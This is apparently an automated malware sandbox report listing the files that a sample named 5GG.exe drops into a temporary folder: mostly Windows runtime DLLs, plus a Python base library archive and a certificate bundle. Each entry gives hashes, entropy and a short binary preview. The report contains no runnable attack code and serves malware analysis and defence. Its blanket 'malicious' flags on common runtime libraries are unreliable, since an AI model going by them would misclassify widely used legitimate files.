SHA-256:	A288F462113F631D614172E90C725380BEA403003C2880BC4D29B8E92CE4EAAD
SHA-512:	F5E6499DC810696629A2E2A297AC8FA6754D88A49C2FFC484D4ABCE37D2560A2913A46A4D1C0186C0D00E537A29650B3B3CBFAC3512F8A6C1C347C38C80C343D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......3A..w e.w e.w e..De.v e..Da.u e..D..v e..Dg.v e.Richw e.........PE..d...9..\.........." .........................................................0......q.....`.........................................`................ ...................)..............T............................................................................rdata..............................@..@.rsrc........ ......................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-string-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	13704
Entropy (8bit):	7.094812093768623
Encrypted:	false
SSDEEP:	384:HyMvxW1hWKU8JIYiaHZ8ZpH3GCJECyalv7o/:HyMvgUYiQZiRBECrFo
MD5:	DCB7E066CCC0F60832891019FFE67A47
SHA1:	6DAF3A85B09E0E348885ACCDA523B8B21DED4805
SHA-256:	AFC7E93F734AA05D770E5BD954A9AD6A20F3F3D50540CF5466CA6A1ABCE3D769
SHA-512:	8D6AE99D3DAFA2FB316887540E47024E2B34697A608AFBB23A6E65829F41A3F9DF07D9110A383BC29426FAB2D9892780E66EB702D9898E9EE98BD890DE082AF1
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......3A..w e.w e.w e..De.v e..Da.u e..D..v e..Dg.v e.Richw e.........PE..d...c`.g.........." .........................................................0.......G....`.........................................`................ ...................)..............T............................................................................rdata..............................@..@.rsrc........ ......................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-synch-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	15752
Entropy (8bit):	6.967643315659361
Encrypted:	false
SSDEEP:	384:adv3V0dfpkXc0vVaRW1hWRU8JIYiaHZ8ZpH3GCJE5yH8fqQ:adv3VqpkXc0vVaAJYiQZiRBE5O1Q
MD5:	0CD640871116D88EA7793E5CD703BAFB
SHA1:	7E6FD8167C166C921176F9901E4938BD584256E8
SHA-256:	153312EF66186302EA5C23EE52E7DE37A69F52748421B8D19D439435DD81FA41
SHA-512:	FB37B5E74FDEFF78A48A95BAB0CFEE5D35155187E5F507215B7B934F1F43292FF2861976F23E745A03CA9CB8438BC525B1306452C9686C7F34A4C1724EB12A23
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......3A..w e.w e.w e..De.v e..Da.u e..D..v e..Dg.v e.Richw e.........PE..d................." .........................................................0.......W....`.........................................`...X............ ...................)..............T............................................................................rdata..X...........................@..@.rsrc........ ......................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-synch-l1-2-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	14216
Entropy (8bit):	7.10790417863411
Encrypted:	false
SSDEEP:	384:ttZ3mW1hWOU8JIYiaHZ8ZpH3GCJEgyY7LEj:b8YiQZiRBEgxA
MD5:	A1F121F4BD97701858C0D041BFBF96D4
SHA1:	BFAC477CBBBE06314B1EAD36059EACAD5A3622F7
SHA-256:	968CF5144E7F39FD88EACA55002884ECAB490746C9CCB5F93F97F93B56CC3376
SHA-512:	AAF6D6B3702684A79D109BBD853E53A9AE13CD68216235A0A8E49B00B0247FEFC1A8006AD34EDA4E5946072BBAC5A1D3B88E082CBC95D9F82B5FB08EDA04BB70
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......3A..w e.w e.w e..De.v e..Da.u e..D..v e..Dg.v e.Richw e.........PE..d......&.........." .........................................................0.......Q....`.........................................`...x............ ...................)..............T............................................................................rdata..x...........................@..@.rsrc........ ......................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-sysinfo-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	14728
Entropy (8bit):	7.009575315796491
Encrypted:	false
SSDEEP:	192:ddKIMF8XW1hWiUSwv7s8jtGBIYiYF8oDbnPZ2oEhZnpH3GCwgEfHuNyRXiD6n:3ZXW1hWiU8JIYiaHZ8ZpH3GCJEMyS6
MD5:	9C73CA1905FFB642BA9276DB999F10AE
SHA1:	C22D7F1A569FBB9AA480A01A07F0B9F77617820C
SHA-256:	8B9D4E562E5DDE5F2B3A5ED6CD82A0D6E1B66B482FA074724434F40204626FFE
SHA-512:	0A792D60BC11A00BB29E1A9206847C0A050421AE8B78153D48AFAD15B9E9E6365AFD8053217C4993482A9412FD7908B8921354073FA6F323A31CC05BDAD1A687
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......3A..w e.w e.w e..De.v e..Da.u e..D..v e..Dg.v e.Richw e.........PE..d...B............." .........................................................0.......d....`.........................................`...H............ ...................)..............T............................................................................rdata..H...........................@..@.rsrc........ ......................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-timezone-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	14216
Entropy (8bit):	7.099772447794822
Encrypted:	false
SSDEEP:	192:yW1hWBUSwv7s8jtGBIYiYF8oDbnPZ2oEhZnpH3GCwgEfHniyjPEjyYh2gHwBf:yW1hWBU8JIYiaHZ8ZpH3GCJEKyjPadQf
MD5:	22B0A9B00C0D31AB70F4A0E3164D8686
SHA1:	4C863A71D37E23602B2258BF92062A2D9544DD31
SHA-256:	807F8478B8CFD4FF1E86F3C5DF9F48A31150D7658F37678F867934E8FDC92A32
SHA-512:	F2985307321642DB9EFD4AC22261E2C7CB87E4300763CF401063A0CB13520A5F5FB062F062D42DCED11D90508AAFA2D3FB5B9B49AB437971FB2DEEE499C896F8
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......3A..w e.w e.w e..De.v e..Da.u e..D..v e..Dg.v e.Richw e.........PE..d...)3............" .........................................................0......g.....`.........................................`...H............ ...................)..............T............................................................................rdata..H...........................@..@.rsrc........ ......................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-core-util-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	13704
Entropy (8bit):	7.041437765251186
Encrypted:	false
SSDEEP:	384:8VGW1hWLU8JIYiaHZ8ZpH3GCJEzySxpzLQt:aDYiQZiRBEzLjQt
MD5:	36AEBC6BF9AC371045014A16C3B7954F
SHA1:	451A24ADFFF18AAD35FFE1C8FBD95323EAC28957
SHA-256:	8FAB574C7A50CCE69AC2E9F2B015BDCB1BD1741E45F24F34BD2E31261700EAD8
SHA-512:	E1317754EF3B9ED69AB2A35AFF650FBF74E8A177D0C0CBDF2ECC2A257EA16679205F0F0AA33507D9B5F33C33A1271B298944ECDB0D5A77E0D80D4141E9D05A21
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......3A..w e.w e.w e..De.v e..Da.u e..D..v e..Dg.v e.Richw e.........PE..d....8d..........." .........................................................0......Q4....`.........................................`...<............ ...................)..............T............................................................................rdata..8...........................@..@.rsrc........ ......................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-crt-conio-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	14728
Entropy (8bit):	7.041925520096976
Encrypted:	false
SSDEEP:	192:41W1hW1USwv7s8jtGBIYiYF8oDbnPZ2oEhZnpH3GCwgEfHKB0yfUmy/2F:41W1hW1U8JIYiaHZ8ZpH3GCJECuyfWi
MD5:	FBA1B89F6CF5C42D44AA31980F5EF835
SHA1:	EAB1D5DF2132D6966C3942DA7373E1797E843C4D
SHA-256:	4FCEF4FE6B20E44887434B00E6F5A005AE7733ED0FE7166B9E9F0B3897240AC0
SHA-512:	6B01EE0F7249A781E147230D8A72B52AF6F10A7F67C0142918058BDFDA2C909180CE2E839077B0392217BEEE7E251B0D5E946818A9ADE673E40296F6D9E6AFD3
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......3A..w e.w e.w e..De.v e..Da.u e..D..v e..Dg.v e.Richw e.........PE..d....G.#.........." .........................................................0......."....`.......................................................... ...................)..............T............................................................................rdata..............................@..@.rsrc........ ......................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-crt-convert-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	17800
Entropy (8bit):	6.811938275035672
Encrypted:	false
SSDEEP:	384:huyhW1hWtU8JIYiaHZ8ZpH3GCJEaydoA/rT:sBYiQZiRBEa+LT
MD5:	2527CD998BABA7A370DB1F5813E86B41
SHA1:	6778078A0E0778C9A49133930C6810584133C4F7
SHA-256:	2CAC69C22C0269EB69FBE674512058F842847CF7505B429A940FADDA3422B386
SHA-512:	27F1C08901CD88499B692B02B4A099CA3EFA630AA88799F2A3FFDD1BAB41EF1321F314F21FAD2CCB6952F4EFF5C2CF70D5D54103C9E3E78EA7FD76D18D762874
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......3A..w e.w e.w e..De.v e..Da.u e..D..v e..Dg.v e.Richw e.........PE..d.....(j.........." .........................................................@......:.....`..........................................................0...................)..............T............................................................................rdata..............................@..@.rsrc........0......................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-crt-environment-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	14216
Entropy (8bit):	7.0123968428691965
Encrypted:	false
SSDEEP:	384:ufW1hW9U8JIYiaHZ8ZpH3GCJESyHW7dF0:uq9YiQZiRBESmIm
MD5:	98844E8111F82409D28879D6A51A5112
SHA1:	C8ECEEA9D707E4CC1B195FEAE17DB64C656E0449
SHA-256:	976DFC899431A0FF43A94FAEB5CE2BC274D10AD6A0245CBBA17983C76A6A68B6
SHA-512:	88BC5417A6FC9C90E59C0123F4FEE1C776A98933B8456BE0297CC775242AB001D6BAD238977A9141664C26110F61D28BC2834093C48F2070F96B6CB08AE4B019
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......3A..w e.w e.w e..De.v e..Da.u e..D..v e..Dg.v e.Richw e.........PE..d................" .........................................................0............`............................................."............ ...................)..............T............................................................................rdata..2...........................@..@.rsrc........ ......................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-crt-filesystem-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	15752
Entropy (8bit):	7.029755825354508
Encrypted:	false
SSDEEP:	384:Aq6nWm5CZW1hWFU8JIYiaHZ8ZpH3GCJE7y6vr:F6nWm5CIhYiQZiRBE7zD
MD5:	B5F914130227C0B80F969AAC5A73EB58
SHA1:	E14DC8D9C527EA45583FEF59B79A2E8200E0AE1F
SHA-256:	4E30DAF3EE53F43C0A0F5AD514245DADA7AB19C7BD8C270C6868BA9B79DDA917
SHA-512:	29EDC177E63961F734AF9F28E7284E95A4976D96DA11554D59A54ADEE4A8A0288B5262BA862CCC1E963695C4F5CDCDB944988079169C5451129D07FFEDEBE391
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......3A..w e.w e.w e..De.v e..Da.u e..D..v e..Dg.v e.Richw e.........PE..d...#..j.........." .........................................................0......'/....`.......................................................... ...................)..............T............................................................................rdata..............................@..@.rsrc........ ......................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-crt-heap-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	14728
Entropy (8bit):	6.981645537266495
Encrypted:	false
SSDEEP:	384:/Y3eBW1hWaU8JIYiaHZ8ZpH3GCJEzyhbK7s:LQoYiQZiRBEzf7s
MD5:	09B62EFB053BCA7AF4BA72D02A725A91
SHA1:	FAEE7076EE72FF1B8B35275393A710E69B5BD3B1
SHA-256:	9C493C99123270B55679EF82D9E096A16A09548ADF244780D33E56B6D5030298
SHA-512:	84053A301C88BA5337C97741E8C6B79E22E0775DA04E33C28695795E8D2B88A99817C306CD182544B64FCF3DBF80AB4F64FA0828FE5D78B479324C0581A51D4A
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......3A..w e.w e.w e..De.v e..Da.u e..D..v e..Dg.v e.Richw e.........PE..d.....#..........." .........................................................0......J@....`.......................................................... ...................)..............T............................................................................rdata..............................@..@.rsrc........ ......................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-crt-locale-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	14216
Entropy (8bit):	7.101014924281042
Encrypted:	false
SSDEEP:	192:DW1hWSUSwv7s8jtGBIYiYF8oDbnPZ2oEhZnpH3GCwgEfHbVya6UhMGqA:DW1hWSU8JIYiaHZ8ZpH3GCJEjVyarqA
MD5:	983B86975B77686E84B6717E73A4698A
SHA1:	9FC57F9CAECB1ED7E7B035550E1BB2E9ED50F898
SHA-256:	E1071D53C7D9BAC25002148A2B50EBD962A1774FFC88364AF82894D2EE16C0CB
SHA-512:	39B854DCDB272CC96D86BD8ECEA33875651F8C9263CE7E19EAED3151E17D405CD43D69A5EBBEEF2E60779863C9AB8E676472161A322283DC21ECF479E3DB29D1
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......3A..w e.w e.w e..De.v e..Da.u e..D..v e..Dg.v e.Richw e.........PE..d................" .........................................................0............`.............................................e............ ...................)..............T............................................................................rdata..u...........................@..@.rsrc........ ......................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-crt-math-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	22920
Entropy (8bit):	6.54609870024612
Encrypted:	false
SSDEEP:	384:5QUbM4Oe59Ckb1hgmLNW1hW4U8JIYiaHZ8ZpH3GCJEryGpoKqC:5RMq59Bb1jECYiQZiRBErAKl
MD5:	EC569594237503C36D99AE337BC68628
SHA1:	08A0B7154A1D6ADDB9DDAA1B295838A2E8FE5D8F
SHA-256:	8BC12C35682EF73A98E21BDBEA63B0C4B7F4AF6F56B1738608AA757430E421A1
SHA-512:	3E565D8B23FBB4D3666678CE77CD55F997DCD31880843BEB94A4547AF1AD3BC7F3852DF554301347ECAEE98FFEB8C5EBA2F385A458E4BC5B2F6C0D8E4D0668BB
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......3A..w e.w e.w e..De.v e..Da.u e..D..v e..Dg.v e.Richw e.........PE..d...+H............" .........,...............................................P......R.....`..............................................%...........@...............0...)..............T............................................................................rdata...&.......(..................@..@.rsrc........@.......,..............@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-crt-process-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	14728
Entropy (8bit):	7.002983922715077
Encrypted:	false
SSDEEP:	192:uRQqjd7hW1hW6USwv7s8jtGBIYiYF8oDbnPZ2oEhZnpH3GCwgEfHrPyYzbMqBv:uKwW1hW6U8JIYiaHZ8ZpH3GCJETPyfqV
MD5:	6D0D7CC4DA6A85E136502D7F3D1A0B0F
SHA1:	5E564E727F3BED5093CC15AB3F92889347E10739
SHA-256:	693535A6E216AD488E302D8B5F08FBA45C1B8B803AA50AA92784C8905CF7B7FA
SHA-512:	E7BDE58ACECD54B54D24410F528DCE0B65FC5141CD724AD179EC5A64D5E95C2E9C6D17377A48C23C2F100B9DCE5FC572CB9AA7760EAA7F0603CD2B37FE8D25B9
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......3A..w e.w e.w e..De.v e..Da.u e..D..v e..Dg.v e.Richw e.........PE..d...*j............" .........................................................0......X.....`.............................................x............ ...................)..............T............................................................................rdata..............................@..@.rsrc........ ......................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-crt-runtime-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	18312
Entropy (8bit):	6.820108797867649
Encrypted:	false
SSDEEP:	384:6tYr7zW1hWnU8JIYiaHZ8ZpH3GCJEEymA:6mr7WnYiQZiRBEE6
MD5:	8FF86D4F9D89FAA667CAD980133B7C67
SHA1:	E6CA943D53599374392F452A324BF63BEC8FEDC9
SHA-256:	2E99F2A156B67CB325EE187C18BB1AF18C1AA53C8464AF3F5A0E6FBEB524E5F2
SHA-512:	BDD37AAE357807E486C0B616EF51777D025A61FA30373F338C91D0CD2E81336A272FBA279C5426A2AEC870D6A9AB23625707A53BA71E18300CBB53D8CB4584E1
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......3A..w e.w e.w e..De.v e..Da.u e..D..v e..Dg.v e.Richw e.........PE..d....V.4.........." .........................................................@.......-....`.............................................4............0...................)..............T............................................................................rdata..D...........................@..@.rsrc........0......................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-crt-stdio-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	19848
Entropy (8bit):	6.753282532894521
Encrypted:	false
SSDEEP:	384:QZpFVhHW1hWeU8JIYiaHZ8ZpH3GCJEZyX22hqq:EowYiQZiRBEZq9
MD5:	1CB9F821AADDA4F611652C4E5C599F9B
SHA1:	473E282F42AD849D287B6BE98ED5ECD180C9FA12
SHA-256:	81FB78F5885AA66E69DE626E8BAA6EA130C118AFEFB241253E84251519E0D73E
SHA-512:	FC09D68B13A64B73F04533FFEE02DB21C59F383EC6618BE2695299066A8534B43FD36FC37EF374D27859ECD2F93E8925AB8AE8E3F98CB29DF97DDF10482E37AD
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......3A..w e.w e.w e..De.v e..Da.u e..D..v e..Dg.v e.Richw e.........PE..d....Z?..........." ......... ...............................................@......W.....`.............................................a............0...............$...)..............T............................................................................rdata..a...........................@..@.rsrc........0....... ..............@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-crt-string-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	19848
Entropy (8bit):	6.73582860707751
Encrypted:	false
SSDEEP:	384:/iFMx0C5yguNvZ5VQgx3SbwA7yMVIkFGlbW1hWlU8JIYiaHZ8ZpH3GCJEjysf6j:/6S5yguNvZ5VQgx3SbwA71IkFhlYiQZA
MD5:	4D48848624E0CEB8349BB33C42848CD3
SHA1:	B130C7302E34113B72C99983456F3B5660248741
SHA-256:	F67A99CC4469563B020233C7677CE3631B9D02099F5909B6C44D8B70417529A4
SHA-512:	516BE88983D702CF555B410D64B6D0A0452689C95252AB381DB8A1A24B65353D1CB942837D4122EAD6246DE016785E6868B0A20FCED1149A3B25EC967FC46C7D
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......3A..w e.w e.w e..De.v e..Da.u e..D..v e..Dg.v e.Richw e.........PE..d...\|P=z.........." ......... ...............................................@.......b....`..........................................................0...............$...)..............T............................................................................rdata..............................@..@.rsrc........0....... ..............@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-crt-time-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	16264
Entropy (8bit):	6.924593795098253
Encrypted:	false
SSDEEP:	384:NUW1hWLU8JIYiaHZ8ZpH3GCJEByqUvErHc6:VjYiQZiRBEBNsMP
MD5:	D8B205B4C6ED03173FD7E6BFD18D1F0D
SHA1:	B2FEEE9DE8A374CA139F0D5D53208AC43C1F5C9A
SHA-256:	A48F16E927E0E5784F71EFD54ED5B15D47A92E75DDE06CD1DA140F15B876140C
SHA-512:	693A9738BE6BC9F26A27A03D344A2A892816C1754F477DEBBADA20F755EE62F395F8E1E071F1080DA166A7A50211C4FFDDD49F8E7428CC6280EC201E189AE515
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......3A..w e.w e.w e..De.v e..Da.u e..D..v e..Dg.v e.Richw e.........PE..d................" .........................................................0............`.......................................................... ...................)..............T............................................................................rdata..............................@..@.rsrc........ ......................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI73402\api-ms-win-crt-utility-l1-1-0.dll

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	PE32+ executable (DLL) (console) x86-64, for MS Windows
Category:	dropped
Size (bytes):	14216
Entropy (8bit):	7.0867158644785295
Encrypted:	false
SSDEEP:	192:BfHQdurW1hWbUSwv7s8jtGBIYiYF8oDbnPZ2oEhZnpH3GCwgEfHkyhl1qLgF:BfVW1hWbU8JIYiaHZ8ZpH3GCJEMyhWLg
MD5:	E727365010E70967D87649AA03B0D4EF
SHA1:	D66787400649159EDA890F9D35BDF570DE668EC7
SHA-256:	3EB004D189383EF23B4EFEB46267AB7A3514C3816B5F03B390E0ECECE8CD24C6
SHA-512:	2BD3D53CF942162C249C0F37F514D5845146066A1D80EFD11B588FF94DFC968081338B4E1983877283E092635BD1DA8064A366F007E322FED8588F8C702CB957
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......3A..w e.w e.w e..De.v e..Da.u e..D..v e..Dg.v e.Richw e.........PE..d..............." .........................................................0............`.............................................^............ ...................)..............T............................................................................rdata..n...........................@..@.rsrc........ ......................@..@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Temp\_MEI73402\base_library.zip

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	Zip archive data, at least v2.0 to extract, compression method=store
Category:	dropped
Size (bytes):	880490
Entropy (8bit):	5.683223078741054
Encrypted:	false
SSDEEP:	12288:1EHYKmIBWSxC6S2cXPLA4a2Y3Md1VwxffpEIYpJSLMN65:1EHYI1xyLa2AyVwxffpEIY0MN65
MD5:	D588EC43695A4571E2BCB17C183A767A
SHA1:	A8EA7010424951B89840396F03C76A6D6039BD84
SHA-256:	1036B9A6A53021902D4563FA968F48041CB99F0E9650C3D6EBB7B1129F07CB70
SHA-512:	3A03FE625C780883B46B31A7456D2A65098DC6075C8D88109709D7A3CA4CF8F4077EBFADF3D1553376A489A43A481006B6266B3BC27F7E947F287BBC5B98B3B4
Malicious:	false
Preview:	PK..........!...PC............_collections_abc.pyco....................................@.......d.Z.d.d.l.m.Z.m.Z...d.d.l.Z.e.e.e.....Z.e.d...Z.d.d...Z.e.e...Z.[.g.d...Z.d.Z.e.e.d.....Z.e.e.e.......Z.e.e.i.........Z.e.e.i.........Z.e.e.i.........Z.e.e.g.....Z.e.e.e.g.......Z.e.e.e.d.......Z.e.e.e.d.d.>.......Z.e.e.e.......Z.e.e.d.....Z e.e.d.....Z!e.e.e"......Z#e.i.......Z$e.i.......Z%e.i.......Z&e.e.j'..Z(e.d.d.......Z)d.d...Ze..Ze.e..Z+e.,....[d.d...Z-e-..Z-e.e-..Z.[-d.d...Z/G.d.d...d.e.d...Z0G.d.d...d.e.d...Z1G.d.d...d.e1..Z2e2.3e+....G.d.d...d.e.d...Z4G.d.d ..d e4..Z5G.d!d"..d"e5..Z6e6.3e.....G.d#d$..d$e.d...Z7G.d%d&..d&e7..Z8e8.3e.....e8.3e.....e8.3e.....e8.3e.....e8.3e.....e8.3e.....e8.3e.....e8.3e.....e8.3e.....e8.3e.....e8.3e ....e8.3e!....e8.3e#....G.d'd(..d(e7..Z9G.d)d..de8..Z:e:.3e)....G.d+d,..d,e.d...Z;G.d-d...d.e.d...Z<G.d/d0..d0e;e7e<..Z=G.d1d2..d2e...Z>d3d4..Z?d5d6..Z@d7d8..ZAG.d9d:..d:e.d...ZBG.d;d<..d<e=..ZCeC.3eD....G.d=d>..d>eC..ZEeE.3e.....G.d?d@..d@e=..ZFeF

C:\Users\user\AppData\Local\Temp\_MEI73402\certifi\cacert.pem

Download File

Process:	C:\Users\user\AppData\Local\Temp\5GG.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	290282
Entropy (8bit):	6.048183244201235
Encrypted:	false
SSDEEP:	6144:QW1H/M8fRR1jplkXURrVADwYCuCigT/Q5MSRqNb7d8iu5Np:QWN/TRJLWURrI55MWavdF0L
MD5:	302B49C5F476C0AE35571430BB2E4AA0
SHA1:	35A7837A3F1B960807BF46B1C95EC22792262846
SHA-256:	CF9D37FA81407AFE11DCC0D70FE602561422AA2344708C324E4504DB8C6C5748
SHA-512:	1345AF52984B570B1FF223032575FEB36CDFB4F38E75E0BD3B998BC46E9C646F7AC5C583D23A70460219299B9C04875EF672BF5A0D614618731DF9B7A5637D0A
Malicious:	false
